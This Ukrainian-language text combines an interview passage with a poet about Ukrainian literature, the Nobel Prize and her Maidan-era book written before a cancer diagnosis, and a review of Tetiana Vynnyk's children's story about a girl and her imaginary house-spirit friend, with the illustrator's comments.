— Нашій літературі ще належить стати українською, вільною від постсовєтських догм, стереотипів, героїзації образів, повторення сюжетів, тупцювання коридорами минулого… Тому так нерозривно переплелися й уживаються література масова і постмодернізму, література «факту» і глибоко психологічна… Українська література потребує серйозної державної підтримки, адже ще й досі маємо засилля російської книги на полицях магазинів. Сучасні письменники недостатньо знані у світі через брак перекладів, відсутність яких – питання значною мірою матеріальне. Та що там говорити, коли багато імен стали відомими лише після виходу у світ книжок, виданих за гроші самих поетів чи письменників. До слова, маю 7 збірок, виданих власним коштом із незначним залученням спонсорської підтримки. Книга для дітей «Мереживо чудес», яку проілюстрував мій чоловік, перекладена польською мовою, вже два роки шукає дорогу до наймолодших читачів. Є, звичайно, деякі державні програми, окремі конкурси і проекти, але це такий мізер…
Стосовно поезії ситуація ще плачевніша. Поети видаються малими тиражами. Багато талановитих авторів не відомі широкій аудиторії. Шанси бути знаними мають хіба добре пропіарені чи кимось профінансовані письменники. Хоч українська поезія має щось таке, чого немає у країнах Заходу, наприклад… Це – непідробні емоції, душа, якесь магічне звучання… У ній є те, чого потребує сучасний прагматичний світ, чого шукає людина, загублена в часі і просторі, що стала жертвою цивілізації і глобалізації… Людина, яка хоче віднайти СЕБЕ.
— Чи може українська література здобути Нобелівську премію сьогодні? Хто міг би бути її вартим: Ігор Павлюк, Оксана Забужко, Ліна Костенко, Василь Голобородько (поданий від України офіційно)?
— Українська поезія варта бути знаною і поцінованою у світі. Саме хтось із поетів, на мою думку, міг би стати нобелівським лауреатом від України, адже у нас є багато цікавих, талановитих, неординарних авторів. Безперечно, ті, кого ви назвали, мають великі творчі надбання, можуть конкурувати зі світовими літературними авторитетами… Ліна Костенко є яскравим представником (навіть символом) цілої плеяди шістдесятників… Ігор Павлюк – особливий співець невичерпного і магічного поліського «космосу»… Оксана Забужко, окрім літературної творчості, є активним громадським і навіть політичним діячем… Василь Голобородько – україномовний автор-патріот зі Сходу країни. У кого більші шанси? Очевидно, в того, хто матиме державну підтримку, фінансування перекладів і світових проектів, можливість бути почутим і оціненим… Кому не ставитимуть палок у колеса. Особисто я буду дуже рада і щиро привітаю, якщо хтось з українців отримає цю престижну премію. Але це має бути особистість, внутрішній світ якої перебуває у гармонії з написаним… Бо ж можна писати правильні речі, а життям і вчинками свідчити протилежне. Вважаю, що від України можуть подаватися кілька кандидатур. Когось підтримає держава як єдиного кандидата (це нам завжди важко було зробити), когось висунуть міжнародні інституції чи нобелівські лауреати, наприклад. На те й існує авторитетний Нобелівський комітет, аби з-поміж багатьох претендентів оцінити і вибрати найдостойнішого.

«КОЛИ ПИСАЛА КНИГУ, ВІДЧУВАЛА, ЩО СПАЛЮЮ СЕБЕ ЗСЕРЕДИНИ. ЗАКІНЧИЛА І ДІЗНАЛАСЯ ПРО СВІЙ ДІАГНОЗ: РАК ЛЕГЕНІ»
— Розкажіть про свою нову книгу «Траєкторія самоспалення». Як вона була написана? Хто допомагав у цьому проекті?
— Книгу «Траєкторія самоспалення. Щоденникові записи у віршах» я писала її від листопада 2013 року по лютий 2014. Це мій особистий Майдан, творчі візії, які пройшли крізь душу, спалюючи її проблемами суспільними, спільними, особистими… Ця книга виявилася пророчою, навіть фатальною і для долі країни, і для моєї особистої долі. Коли працювала над нею, було відчуття, що спалюю себе зсередини неможливістю змінити те, що відчуваю… Власне, коли книга була майже готова, я дізналася про свій діагноз – рак лівої легені. Я таки горіла зсередини! Горіла у полум’ї нової безглуздої війни і моя країна… Боляче було усім. Тому назви міняти не хотіла, хоч мене просили про це. Натомість розпочала роботу над новою книгою – «Зцілення любов’ю», в якій хочу донести до людства розуміння того, що не жорстокість і насильство, не війни і світовий розподіл впливів і територій, а саме любов врятує світ від загибелі. До слова, саме поезія «Любов, лише любов врятує світ» (нею завершується збірка «Траєкторія самоспалення. Щоденникові записи у віршах» і буде розпочинатися нова книга «Зцілення любов’ю») перемогла цьогоріч у Міжнародному літературному конкурсі «Між словом і вічністю» в Італії. Отже, посил до Європи і світу про ЛЮБОВ як шанс для спільного порятунку був почутий. Передмову до книги написав блискучий український літературознавець Дмитро Дроздовський – людина, яка вміє відчувати і розуміти, патріот усього українського, відвертий і глибокий…
— У чому для вас полягає щастя?
— Бути щасливою – це бути закоханою… Любити! Любити землю, на якій живеш, запахи і звуки, квіточку й метелика, вранішню зірку і туман над річкою… Любити людей, друзів, родину, країну, кохану людину… Любити життя у всіх його проявах. Любити кожну мить, відведену тобі долею для того, щоб нести світло і тепло. Любити працю, бути окриленою і натхненною. Опоетизовувати будні. Бути кимось значимим для когось. Бути собою.
— Що значить бути успішним поетом?
— А про це не варто думати… Просто писати так, щоб кожне слово проходило крізь душу… Щоб написане зцілювало серця тих, кому важко… Не вважати себе генієм і не ганятися за славою. Не служити славі, а служити поезії. Писати так, як відчуваєш… Не фальшивити. Бути справжнім у творчості. Не намагатися подобатися усім. І тоді успіх відшукає тебе неодмінно. Адже поет – посланець від якихось вищих невидимих сил. Поезія – це музика душі і магія космосу, це невидимий смичок, який торкає найпотаємніші стуни… Головне – відчути і почути, вловити і відпустити… на волю. Бути успішним – це бути вільним. Бути вільним – бути щасливим. Летіти!

 

Уявний, добрий і дуже вчасний

У Чернівецькому видавництві «Букрек» для дітей дошкільного та молодшого шкільного віку в рамках державної програми «Українська книга» вийшла друком повість поетки, головного редактора дитячого журналу «Крилаті» Тетяни Винник.

Одна дівчинка дуже мріяла мріяла про братика, проте коли той з’явився на світ, все виявилося зовсім не так, як очікувалося. Як це буває в самотніх дітей, у дівчинки з’явився уявний товариш…

Таня Виник зізнається, що писала повість, коли була вагітною. Нині її синові Богдану вже шість років. «Це особливий стан, коли хочеться світла і тепла, тому не дивно, що багато жінок-авторок у цей особливий для себе і космосу (адже на світ готується нова людина) час відчувають потребу писати для дітей. Якось, зайшовши на старе горище, я почула музику відлуння. Так виник образ хлопчика-відлуння, який живе в кожному з нас. Адже це відголосок нашого дитинства – бешкетності, нестерпної цікавості, спраги до життя, водночас – вразливості, безпосередності й беззахисності. Це відлуння вічного відчуття-себе-дитиною з її емпіричним досвідом, який людина носить у собі все життя, який впливає на її буття. Ця тема ніколи не втратить своєї актуальності, бо є цікавою для митців і для психологів. А діти – це і митці, і психологи, бо в цей час вони прагнуть пізнати світ через його перетворення (це і потяг до змішування фарб, перекручування слів, римування тощо).

«Відкрию тобі таємницю, – прошепотів Талалайко й озирнувся, чи бува ніхто не підслуховує. Переконавшись, що нікого поруч немає, мовив:
– Цієї таємниці ніхто не знає, окрім, хіба що, Жировика, Кльоцника, Банника, Лазника, навіть Домовика… Ну ще кількох. Так ось. Домовик – мій тато!
Даринка хотіла щось сказати, але Талалайко зупинив:
– Я з ним посварився нещодавно… Десь тисячу років тому!»

Головна героїня, що сумує на літніх канікулах, – прототип мільйонів дітей, яким не вистачає спілкування з однолітками. Мрія про братика на практиці виявилася не такою, як очікувалося. Тому не дивно, що в цей час у Даринки з’являється уявний друг – її друге «я», яке люди часто в собі блокують, бо воно не відповідає чи порушує ті норми поведінки, які заведено вважати правильними в дорослому світі. З появою нового друга Талалайка життя Дарусі змінюється, вона починає розуміти власну відповідальність і роль у родині, врешті малючка розуміє, що дорослішає. Із персонажами трапляються різноманітні повчальні пригоди, які спонукають замислюватися, що ж таке насправді – дружба, любов батьків.

Мова твору має цікаву особливість: «хлопчик-відлуння» розмовляє приказками. Авторка покладає на таке мовлення персонажа додаткове – крім просто «характерності» –навантаження: розвиток дитячої уваги, пам’яті, відчуття мови (дитина розуміє, що одне й те ж можна сказати різними способами). «Фразеологізми – дуже цікаве мовне явище, яке пасує для дитячого способу пізнання (порівняння, гіперболізація тощо) і швидко запам’ятовується, збагачуючи словниковий запас. Також кумедні вислови роблять процес читання цікавішим», – каже авторка.

У формуванні образів книжки приємно відзначити роботу ілюстраторки Корнелії Коляджин: зображенням дітей, звірят та «уявних» істот так і хочеться усміхнутися.

Книжку адресовано дітям дошкільного та молодшого шкільного віку. Наприкінці видання містяться ігрові сторінки із вправами на уважність та кмітливість.

Корнелія Коляджин:

Познайомилися ми з Тетяною Винник ще під час співпраці з журналом «Крилаті». Над дитячою ілюстрацією завжди цікаво працювати, найбільш цікавим моментом у роботі є пошуки та створення образів головних персонажів. Коли перечитала її майбутню книжку, відразу уявила ці образи: мрійливу Даринку та непосидючого домовичка Талалайка – милого балагура з пелехатим волоссячком. Таким справжнім другом…

Найважливішим завданням було створити образи головних героїв «домашніми» й дотепними. Звертала увагу на створення дрібних деталей, які діти дуже полюбляють роздивлятися. Наприклад, мишки, які виринають із різних куточків ілюстрацій, є невід’ємним елементом створення образу усієї книжки. Ще я придумала свій «спеціальний» засіб виразності – жовтих метеликів, які з’являються в найважливіших та найдотепніших моментах. Вони символізують душевність, сонце, тепло, радість.

Попри те, що ілюстрації створені за допомогою комп’ютерної графіки, я оживлювала її імітацією олівцевих штрихів, фактурами. Родзинкою видання стала гра-розглядалка та лабіринт, вони залучають маленьких читачів гратися разом із головними героями.

http://www.barabooka.com.ua/uyavnij-dobrij-i-duzhe-vchasnij/